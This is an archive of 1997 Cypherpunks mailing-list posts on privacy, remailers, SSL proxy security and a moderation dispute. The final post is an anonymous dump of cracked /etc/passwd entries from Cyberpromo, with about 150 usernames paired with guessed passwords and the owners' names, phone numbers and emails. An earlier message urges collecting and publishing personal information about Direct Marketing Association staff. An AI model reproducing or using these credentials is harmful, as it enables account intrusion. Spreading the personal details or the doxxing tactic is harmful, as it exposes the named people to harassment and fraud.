]>Two simple changes to the wording, in the interest of accuracy. That's all.
]
]	"Lightly moderated with regard to participants" seems very non-sneery,
]but I doubt it'll make you happy.
]
]>>       Explain to me how importing this flame war onto the mailing
]>>list is going to help anything at all. It seems to me it'd just make
]>>things worse.
]>
]>Well, there we disagree. Convene the Happynet Unofficial Anti-Censorship
]>Committee and mull it over at your leisure. I'm in no hurry.
]
]	So tell me how it's going to help anything. At this point, I
]think you're beyond help.
]
]--
]Seth Finkelstein  				sethf@mit.edu
]Disclaimer : I am not the Lorax. I speak only for myself.
](and certainly not for Project Athena, MIT, or anyone else).
]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Gaw <jonathan@gaw.net>
Date: Sun, 23 Mar 1997 00:36:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "why privacy" revisit
Message-ID: <3.0.32.19970323023551.00688610@pconline.com>
MIME-Version: 1.0
Content-Type: text/plain


the responses i've gotten have been all too theoretical and, i believe, too
hypothetical and removed for most people. when asked if they value their
privacy, the public overwhelmingly agrees. when asked what their privacy
means to them, i don't think they have a solid answer. i get the sense that
most people don't see the hazards of corporations analyzing their buying
patterns, voter registration records and medical records. i don't think it
has come home to most people. 

i don't disagree with the people on the list. i am just having a hard time
translating it to the public in concrete terms. 

j.
>
>At 09:50 PM 3/22/97 -0500, you wrote:
>>-----BEGIN PGP SIGNED MESSAGE-----
>>
>> -=> Quoting In:jonathan@gaw.net to Harka <=-
>>
>> In> when i talk to people like the Direct Marketer's Assn., they honestly
>> In> don't understand what the fuss is about. Their attitude is, quite
>> In> literally, "What's the harm being done here?"
>>
>> In> what do you think the community interested in privacy protection can
>> In> do to best illustrate to the general public the "harm" in the
>> In> collection of personal information?
>>
>>Information warfare. Collect information about DMA people, using
>>their own weapons against them. Then post it somewhere on the
>>Internet via remailers and cc themselves, Reuters and the New York
>>Times...
>>
>>Ciao
>>
>>Harka
>>___ Blue Wave/386 v2.30 [NR]
>>
>>-----BEGIN PGP SIGNATURE-----
>>Version: 2.6.2
>>
>>iQEVAgUBMzSWbzltEBIEF0MBAQFOzQf/SmUYerwG8oIDVe+PucyAybBAYpMBl+JT
>>eDl21Bs0jVa2+UXm8zDKQVDIkz004bTgpyX6vzockZ8cTUkW1UJJucjUfAXln1yB
>>HmdR9Go5mdurGbXf4QSN47nbfPc5V5sq8h7Ok2frFRqKLBejPSuEdP2pZo0OUPQD
>>bf0lE3l5lgTKlYqOzHt7NqHNAlcx3l0FOpflF+RR5DbLllBrIP7XYodMLMv+NR3T
>>V0oEk0woReL4+/O8iQ1oZuQ3MHNXkwCqR8w2wXnlou9ysfS58nTXgoNyFYKouGlN
>>Kc1bV2/G6mrG8PziTd3MsTL4TjdcmkdphZWVouo1LrEuhd3J5B4dBw==
>>=rbtn
>>-----END PGP SIGNATURE-----
>>
>>
>>If encryption is outlawed, only outlaws will have encryption...
>>
>>
>>
******************************************************
Jonathan Gaw
The Star Tribune
Minneapolis, Minnesota
jonathan@gaw.net
*********Wasting Digital Bandwidth Since 1986*********




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Sat, 22 Mar 1997 23:57:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Remailer problem solu
Message-ID: <TCPSMTP.17.3.23.3.3.38.2780269260.1581932@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

IMHO the remailer network needs to be extended so as to place the
risk on (too) many shoulders, thereby reducing it considerably.
The winsock remailer has an "shared" option included, meaning every
regular e-mail account could serve as a remailer (or at least as
middleman). If such an option could be included in e-mail programs,
the danger of remailers "dropping like flies left and right" would
cease.
The accounts could be published on a web page together with the
instructions a la Raph's remailer list and the country, where they
are located in. Therefore they could even serve as exit point, for
the laws of the receiver don't apply there. The only problem I see
with shared accounts though is a flood attack, rendering it unusable
for the account holder. So probably middleman or PGP-encrypted-only
are the most reasonable options.
Why not extending the source of Private Idaho to include remailer
capabilities, for example?

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzTiFDltEBIEF0MBAQHeGgf/Qo6LkT82Fdxu8Jt8oWzSlnJUQTZ1uyMk
rLZHi/e2Ha2JMUiS5Uuil+h7GTBIT8FRzeAZmvHDdkRnUTuFF6+WrG373a27f+FA
9TfKwMprz/o7x0iFZc3tL+eEzsuCL3ZCFPhXILVWNbuhFeGMxbgJ0rb/qdXEvGkm
6SF+BKj3ayj9pdLMOaJnue3YG0MEQr0QFVodeuUCTjmexv9WuwgI5D3C9PbXNdwa
t4iTU5fH3czuvMvPsTCSnQLfVxNESh2Tv6zzzxkEcmR7iKRTUX+N5gCWYffIecQK
8D5o7Ap8SAG+Fh+0Gb6bAyrgB1Xdajmjp1RsbhsA2CGlvFIv5lK8sg==
=teXC
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Sat, 22 Mar 1997 07:44:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Security of SSL proxies
Message-ID: <85904544316081@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain


A number of vendors are now selling SSL proxies which implement secure 
tunnelling for web browsers using a non-crippled SSL implementation running on 
the client machine.  Has anyone considered the total security level provided 
by one of these systems?  I can see three problems with this approach:
 
1. The security stops a few feet short of the browser, making a MITM attack 
   possible (see below).
 
2. Security and authentication is handled by the proxy and not the browser.  
   This means that the browser (and browser user) never get to see the usual 
   indicators that their connection is secure (or "secure" for non-US users).
 
3. If you use a proxy like this to protect traffic for an entire company, the 
   proxy provides the same type of target as a GAK key center: An attack which 
   compromises this compromises security for the entire company.
 
The first one is a practical problem, the second one is more perceptual.  
Consider the following possible attack: A nice authenticoded ActiveX control 
("the tee proxy") installs itself on your machine and hooks itself into the 
chain of proxies by either moving the SSL proxy to a different port or 
changing the browser config entry so it's the first proxy in the chain.  It 
then scans all data being forwarded for credit card numbers/PINs/whatever and 
forwards them to God knows where.
 
There are various simple defences (eg the SSL proxy checks to make sure the 
browser still goes to it first), but in the end it's just a cat and mouse 
game - the tee proxy could spoof the registry calls (there was an article in 
DDJ which explains how to do this), or disable the check, or hook directly 
into the proxy service by patching the DLL (this was explained in MSJ I 
think).  In short, because the security stops a few feet short, it's possible 
to attack the system.
 
A related problem is that fact that the browser isn't aware that a layer of 
security is being applied to the connection, and so will act as if the 
connection was insecure (ie it won't display the usual signs that the link is 
secured, and will give annoying warnings when navigating secure web sites).
 
Finally, pulling personal certs into/through the proxy is rather complex, 
requiring the cooperation of the CA in issuing specific types of certs (one 
browser-specific one for the browser and an identical-content but 
proxy-specific one for the proxy), and all sorts of complex juggling by the 
user to install them.  This probably makes the use of certs in this 
environment fairly luser-proof, which more or less means no certs.
 
Are there any other problems which people are aware of?  There was a bit of a 
fuss made about these proxies being the end of ITAR when they were first 
announced, but since then things seem to have gone quiet.
 
Peter.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 23 Mar 1997 03:33:19 -0800 (PST)
To: Jonathan Gaw <cypherpunks@toad.com
Subject: Re: "why privacy" revisit
In-Reply-To: <3.0.32.19970323023551.00688610@pconline.com>
Message-ID: <v03007815af5ac6e826a1@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:35 AM -0600 3/23/97, Jonathan Gaw wrote:
>the responses i've gotten have been all too theoretical and, i believe, too
>hypothetical and removed for most people. when asked if they value their
>privacy, the public overwhelmingly agrees. when asked what their privacy
>means to them, i don't think they have a solid answer. i get the sense that
>most people don't see the hazards of corporations analyzing their buying
>patterns, voter registration records and medical records. i don't think it
>has come home to most people.
>
>i don't disagree with the people on the list. i am just having a hard time
>translating it to the public in concrete terms.


Hmmmhhh. I don't recall seeing any messages from you stating that this was
your interest, finding simple hooks the readers of a newspaper can
understand.

I assumed you were interested in the issue as just another participant in
the list, not as a journalist looking for a story angle.

Frankly, readers of newspapers don't have the background to understand the
real issues, for the most part. Expecially given the brevity and
superficiality of most newspaper articles.  And if they ever really figured
out what most of the active participants here stand for, they would likely
vote to ban our existence.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Sat, 22 Mar 1997 19:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: some /etc/passwd stuff from Cyberpromo
Message-ID: <19970323034945.5700.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


A little mouse just came into my house and said that the following
uz3rz at cyberpromo.com have the following passwords:

	- Ignoramus.

Guessed broot [<no-ciphertext>]  System Administrator [etc_passwd.fixed /bin/csh]
Guessed box12 [box12 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed valscan [valscan [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box8 [box8 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed greatsex [greatsex [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed makemony [greatsex [SINGER]]  Michael Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed greatads [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed vic [greatads [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box2 [box2 [SINGER]]   [etc_passwd.fixed ]
Guessed box7 [box7 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed checknsee [checknsee [DISNEY]]  Steve Dykstra,Check-n-See Network,413-283-6645, [etc_passwd.fixed /bin/tcsh]
Guessed fixit [fixit [GEORGE]]  Terry Judge,,216-745-9444,amerwtrprf@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed box9 [box9 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed results [results [SINGER]]  Michaek J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box10 [box10 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed getrich [getrich [SINGER]]  Michael J. Singer,,419-843-7055, [etc_passwd.fixed /bin/tcsh]
Guessed box5 [box5 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box11 [box11 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box3 [box3 [SINGER]]  Mike Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box4 [box4 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed box6 [box6 [SINGER]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed gics [gics [SINGER]]  Michael J. Singer,,419-843-6100, [etc_passwd.fixed /bin/tcsh]
Guessed julie [julie [SINGER]]  Michael Singer,,, [etc_passwd.fixed /bin/tcsh]
Guessed box1 [box1 [SINGER]]  Michael Singer,, , [etc_passwd.fixed /bin/tcsh]
Guessed action [action [SUCCESS]]  Thomas Cox,,954-925-8132,dodger3@laker.net [etc_passwd.fixed /bin/tcsh]
Guessed simple [simple [SOLUTION]]  Larry Henry,Simple Solutions + Co. Inc,912-937-5606, [etc_passwd.fixed /bin/tcsh]
Guessed winnernet [winnernet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed newma [newma [DANIEL]]  Jay Schneiderman,,718-379-1197, [etc_passwd.fixed /bin/tcsh]
Guessed coolbreeze [coolbreeze [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed esi [esi [RICHARD]]  Richard Damewood,,, [etc_passwd.fixed /bin/tcsh]
Guessed freebook [freebook [JOSEPH]]  Joe Dewey,Great Ad-Ventures,208-336-7520,joseph732@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldking [goldking [SPECIAL]]  Daniel Sheehy,,707-822-8324, [etc_passwd.fixed /bin/tcsh]
Guessed rav537 [rav537 [NATHAN]]  Rich Verhoef,,509-882-4733, [etc_passwd.fixed /bin/tcsh]
Guessed bfranklin [bfranklin [SUCCESS]]  Jon Bender / Gary Roggles,,919-848-5698 Fax,peakpr4mer@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed ourcoinc [ourcoinc [PROSPER]]  Sheryl Joyner,Ourco Inc.,301-931-0868, [etc_passwd.fixed /bin/tcsh]
Guessed bfepro [bfepro [BFE5253]]  Ben Ewing,BFE Enterprises,502-339-6356, [etc_passwd.fixed /bin/tcsh]
Guessed moneyman [moneyman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed gfaiusa [gfaiusa [MONEY]]  Cliff Durrett,,813-397-3120, [etc_passwd.fixed /bin/tcsh]
Guessed exciting [exciting [SPECIAL]]  Daniel Sheehey,,707-822-8324,djshee@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed autod [autod [GOGO]]  Stephen Gregory,,512-388-0530, [etc_passwd.fixed /bin/tcsh]
Guessed lifeinfo [lifeinfo [LIFE]]  Pete Mckeown,Life Extension,303-985-4371,leipro@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed setmefree [setmefree [SECRET]]  Steve Walker,The Financial Alliance,904-387-1628,plsfreeme@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed cowcr [cowcr [COWCR]]  Dr. Cathy L. White-Owen MD,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed gpwhitepaper [gpwhitepaper [FRED]]  Ernest Orwig,Global Perspectives LLC,201-244-1200 x 239, [etc_passwd.fixed /bin/tcsh]
Guessed accobra [accobra [ACCOBRA]]  Glenn Pack,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasoline [gasoline [ANTHONY]]  Mike Jacobellis,,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed herpesinfo [herpesinfo [FREECTR]]  Dr. Steve Yates,The Freedom Center,212-281-7397, [etc_passwd.fixed /bin/tcsh]
Guessed richman [richman [SUZANNE]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
Guessed christian [christian [SUCCESS]]  Jon Bender,peakpr4mer@aol.com,, [etc_passwd.fixed /bin/tcsh]
Guessed goinfo [goinfo [GREEN]]  Jim Hill,,609-926-9661, [etc_passwd.fixed /bin/tcsh]
Guessed datalux [datalux [WALLACE2]]  Carole Moses,Crestar Enterprises,516-223-3607,careve@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed matrix [matrix [MATRIX]]  Martin Parker,,matrixfund@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed sti [sti [FROGGY]]  Alain Senac,,970-479-9757, [etc_passwd.fixed /bin/tcsh]
Guessed wwjp [wwjp [TRAVEL]]  Jeff Pinkus,,610-408-0386, [etc_passwd.fixed /bin/tcsh]
Guessed team1 [team1 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed genesisgroup [genesisgroup [BRYAN]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed telecomm [telecomm [PARADIGM]]  Greg Scudder,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed goodchecks [goodchecks [RAINBOW]]  Greg Beasley,National Payment Systems,614-792-9490, [etc_passwd.fixed /bin/tcsh]
Guessed rpalm [rpalm [HAMMER]]  Richard Palmer,Palmer Productions,510-685-7671, [etc_passwd.fixed /bin/tcsh]
Guessed info4unow [info4unow [ASHLEY]]  Marty Figgs,,302-633-4138, [etc_passwd.fixed /bin/tcsh]
Guessed skeptics [skeptics [COWCR]]  Dr. Cathy L. White-Owen MD ,,216-844-5950,whatzmoney@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goodincome [goodincome [MARKETIN]]  Ron Linkous,,804-741-4432,rlink15133@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed tgtbt [tgtbt [COWCR]]  Dr. Cathy L. White-Owen MD ,216-844-5950,whatzmoney@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed mailordman [mailordman [VICTOR]]  Donald Wright,,800-772-0794, [etc_passwd.fixed /bin/tcsh]
Guessed peteexcel [peteexcel [CAMERON]]  Pete Maneos,,610-337-1468,newmedia30@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed higher [higher [SUCCESS]]  Eric gordon,,909-653-2357,teammlm@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed gasinfo [gasinfo [ANTHONY]]  Mike Jacobellis,\,,magnet@exp.net [etc_passwd.fixed /bin/tcsh]
Guessed asomerset [asomerset [SOMERSET]]  DIANNA GIBBS,,214 789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed childstory [childstory [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed hokamix [hokamix [STERLING]]  Michael Medefind,Aellen Enterprises,916-987-1234,meandre@christcom.net [etc_passwd.fixed /bin/tcsh]
Guessed gab [gab [NEWLIFE]]  Yvonne Orthmann,,508-428-9101, [etc_passwd.fixed /bin/tcsh]
Guessed galatic [galatic [GALATIC]]  Karl Thompsan,,317-933-2828, [etc_passwd.fixed /bin/tcsh]
Guessed report [report [INTERNET]]  Bryan Sullivan,,805 772-6188, [etc_passwd.fixed /bin/tcsh]
Guessed mountain1 [mountain1 [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed scanman [scanman [ASHLEY]]  DAniel Goutas,,714-897-7542, [etc_passwd.fixed /bin/tcsh]
Guessed bwealthy [bwealthy [SUCCESS]]  Barry Disney,Network Marketing Group,513-554-4843, [etc_passwd.fixed /bin/tcsh]
Guessed truthnet [truthnet [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed essentials [essentials [SUSAN]]  Susan Pottish,,415-453-9546,svand@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed laser1 [laser1 [FREEDOM]]  Bud Riley,,612-224-8331, [etc_passwd.fixed /bin/tcsh]
Guessed mother [mother [ANTHONY]]  Mike and Amy Jacobellis,North Pole Magnet Co,409-840-9407,magnet@iosys.net [etc_passwd.fixed /bin/tcsh]
Guessed freedom4u [freedom4u [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed pyruvate [pyruvate [WHEELS]]  Jerry Schneider,,,pyruvate@ournetwork.com [etc_passwd.fixed /bin/tcsh]
Guessed acarnegie [acarnegie [SUCCESS]]  Jon Bender,,peakpr4mer@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed tatiana [tatiana [JOSEPH]]  Jose Diaz,Diaz Specialty Merchandise,718-672-6225, [etc_passwd.fixed /bin/tcsh]
Guessed gor [gor [GORAVANI]]  Das Goravani,Goravani Astrological Services,800-532-6528 or 541-485-8453, [etc_passwd.fixed /bin/tcsh]
Guessed somerset [somerset [SOMERSET]]  Dianna Gibbs,,214-789-2940, [etc_passwd.fixed /bin/tcsh]
Guessed wheels [wheels [WHEELS]]  Tony Marsello,,,multichev@earthlink.net [etc_passwd.fixed /bin/tcsh]
Guessed freeeagle [freeeagle [FREEDOM]]  Joe Reynolds,,, [etc_passwd.fixed /bin/tcsh]
Guessed team2 [team2 [SUCCESS]]  Eric Gordon,,909-653-2357, [etc_passwd.fixed /bin/tcsh]
Guessed aplus [aplus [STUDY]]  Tim Ryan,A+ Tutors,603-659-5903, [etc_passwd.fixed /bin/tcsh]
Guessed theraven [theraven [KABOOM]]  Leonora Torian,,410-727-2611, [etc_passwd.fixed /bin/tcsh]
Guessed lash [lash [ANTHONY]]  bob Anthony / Larry Kirsch,,954-748-3510, [etc_passwd.fixed /bin/tcsh]
Guessed career [career [CHOICE]]  Jeanette Turner,,941-351-5804, [etc_passwd.fixed /bin/tcsh]
Guessed giveinfo [giveinfo [VINCENT]]  Vincent Garguilo,,718-256-0904,vinigar@peakaccess.net [etc_passwd.fixed /bin/tcsh]
Guessed ournetwork [ournetwork [WHEELS]]  Jerry Schneider,,206-588-0096,75020.2702@compuserve.com [etc_passwd.fixed /bin/tcsh]
Guessed lightquest [lightquest [GORDON]]  Gordon M. Curry,,972-431-4956,lightquest@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed visionpics [visionpics [RESPONSE]]  Jason Kristofer,Visionary Pics,213-655-7666, [etc_passwd.fixed /bin/tcsh]
Guessed wwjpwwjpwwjp [wwjpwwjpwwjp [TRAVEL]]  Warren,,, [etc_passwd.fixed /bin/tcsh]
Guessed jeffsmoney [jeffsmoney [JEFFSMON]]  Jeff Jacobs,J+J Enterprises,212-290-4517,jeff@superteam.com [etc_passwd.fixed /bin/tcsh]
Guessed global [global [DISCOVER]]  Frank Martinez,Global TradeNetwork,515-279-5204, [etc_passwd.fixed /bin/tcsh]
Guessed linktvmem [linktvmem [LINKTVME]]  Ernie Lamonica,,702-828-9003, [etc_passwd.fixed /bin/tcsh]
Guessed phone [phone [PHONE]]  Susan Pottish,,415-453-9546,svamd@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed products [products [MOUNTAIN]]  Joe Kuhn,,908-220-1110,qwikmail@raven.cybercomm.net [etc_passwd.fixed /bin/tcsh]
Guessed tnoni [tnoni [HEALTH]]  Michael Avenoso,Riverwood Health,501-253-2535,amstar7@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed stink [stink [GREATSEX]]  Gary Fisher,,415-306-9466, [etc_passwd.fixed /bin/tcsh]
Guessed judge [judge [VANELGOR]]  Howard Van Elgort,,604-246-9114, [etc_passwd.fixed /bin/tcsh]
Guessed beitall [beitall [DOITNOW]]  Dr. Joy Rausonussen,,, [etc_passwd.fixed /bin/tcsh]
Guessed infolink [infolink [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed bugbox [bugbox [BARRYD]]  Ross Hines,,206-255-6185, [etc_passwd.fixed /bin/tcsh]
Guessed seicom [seicom [Hubertt]]  Hubert Trotman,Safari Equities Inc.,718-994-2801, [etc_passwd.fixed /bin/tcsh]
Guessed yourreply [yourreply [REPORTS]]  Vince Bedell,AAA Discount,702-564-9651,vince2602@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed wholesale [wholesale [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed profitsnow [profitsnow [MATTG]]  Matt Glaspie,,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed freshair [freshair [BRADNEAR]]  Brad Near,,, [etc_passwd.fixed /bin/tcsh]
Guessed succeednow [succeednow [MARTINR]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed cmc [cmc [RANDYC]]  Wayne Cook,712-252-2154,, [etc_passwd.fixed /bin/tcsh]
Guessed contacts [contacts [MARTINRU]]  Martin Ruiz,Golden Success,904-532-9753,martin@goldensuccess.com [etc_passwd.fixed /bin/tcsh]
Guessed a1amway [a1amway [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed bizinfo [bizinfo [FLIGHT]]  Shawn Bogardus,Worldnet Data Services,301-926-6882, [etc_passwd.fixed /bin/tcsh]
Guessed profitsonline [profitsonline [MATTG]]  Matt Glaspie,,, [etc_passwd.fixed /bin/tcsh]
Guessed gasmlm [gasmlm [GSCHMIDT]]  Dr. George Schmidt,Gardens Eyecare,407-622-8200,Dr.Schmidt@usa.net [etc_passwd.fixed /bin/tcsh]
Guessed infosoft [infosoft [BRANDY]]  Jay Pinkus,         ,215-953-8239, [etc_passwd.fixed /bin/tcsh]
Guessed ion [ion [MATTG]]  Matt Glaspie,ION,810-669-1564, [etc_passwd.fixed /bin/tcsh]
Guessed mktamerica [mktamerica [CLONE]]  Tom Cox,,954 925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed futureplan [futureplan [STMARTIN]]  Tracy Dickson-Depaoli,Neways Inc.,604-526-6721, [etc_passwd.fixed /bin/tcsh]
Guessed inside [inside [INFO1]]  Mark A. Watts,Inside Access,503-612-0538,insideacc@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed healthnow [healthnow [HARRY1]]  Thomas M. Cox,,dodger3@laker.net, [etc_passwd.fixed /bin/tcsh]
Guessed sms [sms [HARRY1]]  Suzanne Schnell,,206-953-9372, [etc_passwd.fixed /bin/tcsh]
Guessed success1 [success1 [PROMO1]]  GREG SCUDDER,,805-544-6251, [etc_passwd.fixed /bin/tcsh]
Guessed yousave [yousave [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed paulott [paulott [PAULOTT1]]  Paul Ott,941-731-7855,pott123@aol.com, [etc_passwd.fixed /bin/tcsh]
Guessed savenow [savenow [HARRY1]]  Thomas M. Cox,Reseller,954-925-8132, [etc_passwd.fixed /bin/tcsh]
Guessed utilizatt [utilizatt [FREEDOM2]]  Joe Reynolds,Free Eagles Enterprises,, [etc_passwd.fixed /bin/tcsh]
Guessed eric [eric [DIANE2]]  Eric Lederman,,714-951-9027, [etc_passwd.fixed /bin/tcsh]
Guessed contino [contino [CAREER4]]  Carl Contino,First Family Internet Services,716-834-0057,contino@ffinternet.com [etc_passwd.fixed /bin/tcsh]
Guessed emailfarmer [emailfarmer [RENERENE]]  BARRY DISNEY,,, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouse [lighthouse [DATADATA]]  Mimi Morissette,,503-203-1349, [etc_passwd.fixed /bin/tcsh]
Guessed earthtrust [earthtrust [DATADATA]]  Mimi Morressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed empire [empire [RENERENE]]  Barry Disney,,, [etc_passwd.fixed /bin/tcsh]
Guessed earthangels [earthangels [DATADATA]]  Mimi Moiressette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed futurenet [futurenet [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed lighthouses [lighthouses [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed astrology [astrology [DATADATA]]  Mimi Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed bkinfo [bkinfo [RAYRAY]]  Kareem Hassan,,216-439-1019,hawk7640@aol.com [etc_passwd.fixed /bin/tcsh]
Guessed goldenaura [goldenaura [DATADATA]]  ,,, [etc_passwd.fixed /bin/tcsh]
Guessed shakespeare [shakespeare [DATADATA]]  Mim i Morissette,,503-203-8880, [etc_passwd.fixed /bin/tcsh]
Guessed rolyatge [rolyatge [DRAWDE]]  George Taylor,,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed rolyat [rolyat [DRAWDE]]  George Taylor,Taylor Computerized Services,717-424-1816, [etc_passwd.fixed /bin/tcsh]
Guessed details13 [details13 [111111]]  Dave,Sheehan & Associates,,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed ompd [ompd [111111]]  Dave Sheehan,,708-954-9101, [etc_passwd.fixed /bin/tcsh]
Guessed detailsnow [detailsnow [000000]]  Bob Wagner,,305-534-2769, [etc_passwd.fixed /bin/tcsh]
Guessed remove3 [remove3 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details14 [details14 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed details15 [details15 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed vlk9 [vlk9 [123456]]  ,VLK9 Network,602-874-9247,kat187@juno.com [etc_passwd.fixed /bin/tcsh]
Guessed details12 [details12 [111111]]  Dave,Sheehan & Associates,773-277-2900,dave@ompd.com [etc_passwd.fixed /bin/tcsh]
Guessed hitme [hitme [000000]]  Bob Wagner,Amerinet,305-534-2769,amerinet@bridge.net [etc_passwd.fixed /bin/tcsh]
Guessed mkiely [mkiely [12345]]  Al Walentis,VG Productions,610-370-2340,cyber1@nni.com [etc_passwd.fixed /bin/tcsh]
